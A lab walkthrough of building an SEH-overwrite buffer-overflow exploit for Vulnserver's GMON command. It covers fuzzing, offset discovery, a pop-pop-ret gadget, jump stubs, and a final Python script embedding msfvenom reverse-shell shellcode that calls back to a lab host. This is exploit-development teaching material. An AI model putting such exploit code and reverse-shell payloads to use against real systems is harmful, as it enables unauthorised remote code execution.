Vulnserver: developing an exploit for GMON

The GMON command is vulnerable to a buffer overflow. We can fuzz this command using spike and the following template:

s_readline();
s_string("GMON ");
s_string_variable("COMMAND");

After only a few try, turns out that the application crashes and the string that caused the crash looks like the following:

TRUN /.:/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...

The buffer of A is 5000 bytes long.

We can replicate the crash with the following script:

#!/usr/bin/python
import socket

target = "192.168.1.121"
port = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))

s.send("GMON /.:/" + "A" * 5000 + "\n")
s.close()

seh overflow

The reason of the crash is simple: we caused an exception while trying to write our long buffer into memory. Luckily enough, we override the exception handler, which means that when the program will try to process the exception, we can redirect its flow.

If we take the exception, our buffer will override EIP:

eip override

We can calculate SEH offset by sending a unique string 5000 bytes long, we can generate it with the following command:

msf-pattern_create -l 5000

Our script will look like the following:

#!/usr/bin/python

import socket

target = "192.168.1.121"
port = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))

unique = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"

s.send("GMON /.:/" + unique + "\n")
s.close()

After crashing the service, we can use !mona findmsp to find the offsets:

mona findmsp

In this case, the offset for the nseh record is at 3495. Notice that the nseh record is not the one that will directly be moved into EIP. We will analyze the memory in more detail in a while.

Another interesting thing to notice is that we have only 28 bytes after this address. So we will probably have little space to execute our payload.

For the moment let’s try to override nseh and seh. Our script will look more or less as follows:

#!/usr/bin/python

import socket

target = "192.168.1.121"
port = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))

# nseh offset at 3495
payload = "A" * 3495
payload += "BBBB"

# 0x625010b4 : pop ebx # pop ebp # ret  |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
payload += "\xb4\x10\x50\x62"
payload += "D" * (5000 - len(payload))

s.send("GMON /.:/" + payload + "\n")
s.close()

The only difference is that in this script I have already set an address for the SEH. If you change the address with “CCCC”, you will see the following scenario:

seh control

We can properly override the various fields, but let’s see what’s the state of the memory when the exception is taken and the application crashes:

memory at crash

Our nseh record that was at offset 3495 is now at the beginning of the third entry in the stack. If we follow it in dump, we see our short buffer.

The next four bytes, are the value that has been copied to EIP. This are the four bytes we have to override with to some instruction in memory that brings us back to our payload in the stack.

And finally, we have a few Ds after the address that will override EIP.

If we scroll the memory, we see that all of our buffer is behind us, so we can use that extra memory to jump behind in the memory:

buffer behind

Let’s first check for some instruction in memory that will allow us to bring our buffer at the top of the stack, and then jump to it.

First we look for loaded modules:

mona modules

And by using !mona seh, we can easily find an address that matches our need:

mona seh

As we can see, most available instructions all have the same form:

pop
pop
ret

This is because we want to pop the first two elements in the stack, and then the ret instruction will put in EIP the first address in the stack.

We can use the following address to override EIP:

Address=625010B4
Message= 0x625010b4 : pop ebx # pop ebp # ret | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)

We place a breakpoint over our return point and we make sure that the execution goes there:

break at pop

We can tak the two pop and before taking the ret, see what is pointed by the stack:

memory at ret

And if we take the ret, we can see that our buffer is going to be executed:

execution after ret

It’s time to write our shellcode.

At the very beginning, we have only four bytes, but we can use those to jump 8 bytes ahead to our larger (but not too much) space. We can use msf-nasm_shell to obtain the shell code needed for the jump:

nasm > jmp short +8
00000000 EB06       jmp short 0x8

Since the instruction is only two bytes long, we will pad the rest with two nops, as we need to write two bytes more before writing the address that will override the exception handler. Our very small shellcode for the first jump will look like following:

\xEB\x06\x90\x90

This jump will bring us at the very beginning of our buffer of Ds.

What we need to do now, is to jump back to our larger buffer. In order to do so, we will use the following assembly code:

[BITS 32]

global _start
_start:

# ;--- Taken from Phrack #62 Article 7 Originally written by Aaron Adams

# ;--- copy eip into ecx
fldz
fnstenv [esp-12]
pop ecx
add cl, 10
nop
# ;----------------------------------------------------------------------
dec ch ; ecx=-256;
dec ch ; ecx=-256;
dec ch ; ecx=-256;
jmp ecx ; lets jmp ecx (current location - 768)

The original shellcode was jumping back only 512 bytes, which would still be enough but I added 256 bytes more just to make my math easier.

We can save this to file, and compile it with:

nasm jmp.bin

Our shellcode is now available in the file jmp, which we can open with any hex editor to copy paste the code.

Our shellcode for the jump will look like following:

\xD9\xEE\xD9\x74\x24\xF4\x59\x80\xC1\x0A\x90\xFE\xCD\xFE\xCD\xFE\xCD\xFF\xE1

And our script will be as follows:

#!/usr/bin/python

import socket

target = "192.168.1.121"
port = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))

# nseh offset at 3495
payload = "A" * 3495
payload += "\xEB\x06\x90\x90"

# 0x625010b4 : pop ebx # pop ebp # ret  |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
payload += "\xb4\x10\x50\x62"

# jmp 768 positions behind
payload += "\xD9\xEE\xD9\x74\x24\xF4\x59\x80\xC1\x0A\x90\xFE\xCD\xFE\xCD\xFE\xCD\xFF\xE1"
payload += "D" * (5000 - len(payload))

s.send("GMON /.:/" + payload + "\n")
s.close()

We can now place a breakpoint at our return address and see what happens with the execution:

payload after ret

This is our payload after the ret command, it looks a little bit weird because Immunity messes up the commands with the memory we used to override the address.

If we take the jmp, we se our correct payload:

payload after jump

We can step through it one instruction at a time to see what happens, after fstenv:

current memory location

We see that the stack has saved the address of the fldz instruction. We pop that address into in EXC, add a few bytes to take the fldz and fstenv instructions into account, decrementing ECX of 768 bytes and then jump.

jmp to ecx

As ECX was pointing at the current instruction memory location, and was decremented of 768 bytes, we can see that it now points into out buffer of As.

If we take the jump:

big buffer

We only have to add our payload.

We generate it with:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.120 LPORT=8080 EXITFUNC=thread -e x86/shikata_ga_nai -b "\x00" -f py

We add it to our script, which will now look as follows:

#!/usr/bin/python

import socket

target = "192.168.1.121"
port = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))

# nseh offset at 3495
payload = "A" * 2600
payload += "\x90" * 400

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.120 LPORT=8080 EXITFUNC=thread -e x86/shikata_ga_nai -b "\x00" -f py
payload += "\xb8\x5b\x3c\xbb\xd9\xda\xc5\xd9\x74\x24\xf4\x5b\x31"
payload += "\xc9\xb1\x52\x31\x43\x12\x83\xc3\x04\x03\x18\x32\x59"
payload += "\x2c\x62\xa2\x1f\xcf\x9a\x33\x40\x59\x7f\x02\x40\x3d"
payload += "\xf4\x35\x70\x35\x58\xba\xfb\x1b\x48\x49\x89\xb3\x7f"
payload += "\xfa\x24\xe2\x4e\xfb\x15\xd6\xd1\x7f\x64\x0b\x31\x41"
payload += "\xa7\x5e\x30\x86\xda\x93\x60\x5f\x90\x06\x94\xd4\xec"
payload += "\x9a\x1f\xa6\xe1\x9a\xfc\x7f\x03\x8a\x53\x0b\x5a\x0c"
payload += "\x52\xd8\xd6\x05\x4c\x3d\xd2\xdc\xe7\xf5\xa8\xde\x21"
payload += "\xc4\x51\x4c\x0c\xe8\xa3\x8c\x49\xcf\x5b\xfb\xa3\x33"
payload += "\xe1\xfc\x70\x49\x3d\x88\x62\xe9\xb6\x2a\x4e\x0b\x1a"
payload += "\xac\x05\x07\xd7\xba\x41\x04\xe6\x6f\xfa\x30\x63\x8e"
payload += "\x2c\xb1\x37\xb5\xe8\x99\xec\xd4\xa9\x47\x42\xe8\xa9"
payload += "\x27\x3b\x4c\xa2\xca\x28\xfd\xe9\x82\x9d\xcc\x11\x53"
payload += "\x8a\x47\x62\x61\x15\xfc\xec\xc9\xde\xda\xeb\x2e\xf5"
payload += "\x9b\x63\xd1\xf6\xdb\xaa\x16\xa2\x8b\xc4\xbf\xcb\x47"
payload += "\x14\x3f\x1e\xc7\x44\xef\xf1\xa8\x34\x4f\xa2\x40\x5e"
payload += "\x40\x9d\x71\x61\x8a\xb6\x18\x98\x5d\x79\x74\xa3\xe5"
payload += "\x11\x87\xa3\x0a\x72\x0e\x45\x5e\x62\x47\xde\xf7\x1b"
payload += "\xc2\x94\x66\xe3\xd8\xd1\xa9\x6f\xef\x26\x67\x98\x9a"
payload += "\x34\x10\x68\xd1\x66\xb7\x77\xcf\x0e\x5b\xe5\x94\xce"
payload += "\x12\x16\x03\x99\x73\xe8\x5a\x4f\x6e\x53\xf5\x6d\x73"
payload += "\x05\x3e\x35\xa8\xf6\xc1\xb4\x3d\x42\xe6\xa6\xfb\x4b"
payload += "\xa2\x92\x53\x1a\x7c\x4c\x12\xf4\xce\x26\xcc\xab\x98"
payload += "\xae\x89\x87\x1a\xa8\x95\xcd\xec\x54\x27\xb8\xa8\x6b"
payload += "\x88\x2c\x3d\x14\xf4\xcc\xc2\xcf\xbc\xed\x20\xc5\xc8"
payload += "\x85\xfc\x8c\x70\xc8\xfe\x7b\xb6\xf5\x7c\x89\x47\x02"
payload += "\x9c\xf8\x42\x4e\x1a\x11\x3f\xdf\xcf\x15\xec\xe0\xc5"
payload += "\x90" * (3495 - len(payload))

# jmp short +8
payload += "\xEB\x06\x90\x90"

# 0x625010b4 : pop ebx # pop ebp # ret  |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
payload += "\xb4\x10\x50\x62"

# jmp 768 positions behind
payload += "\xD9\xEE\xD9\x74\x24\xF4\x59\x80\xC1\x0A\x90\xFE\xCD\xFE\xCD\xFE\xCD\xFF\xE1"
payload += "D" * (5000 - len(payload))

s.send("GMON /.:/" + payload + "\n")
s.close()

And we run the script against Vulnserver. If we follow the execution, we see that after the jump we are brought to our buffer of nops (which we added to avoid to have to calculate the exact memory address) and then to our payload:

shellcode reached

If we let the program run, we get our shell:

final shell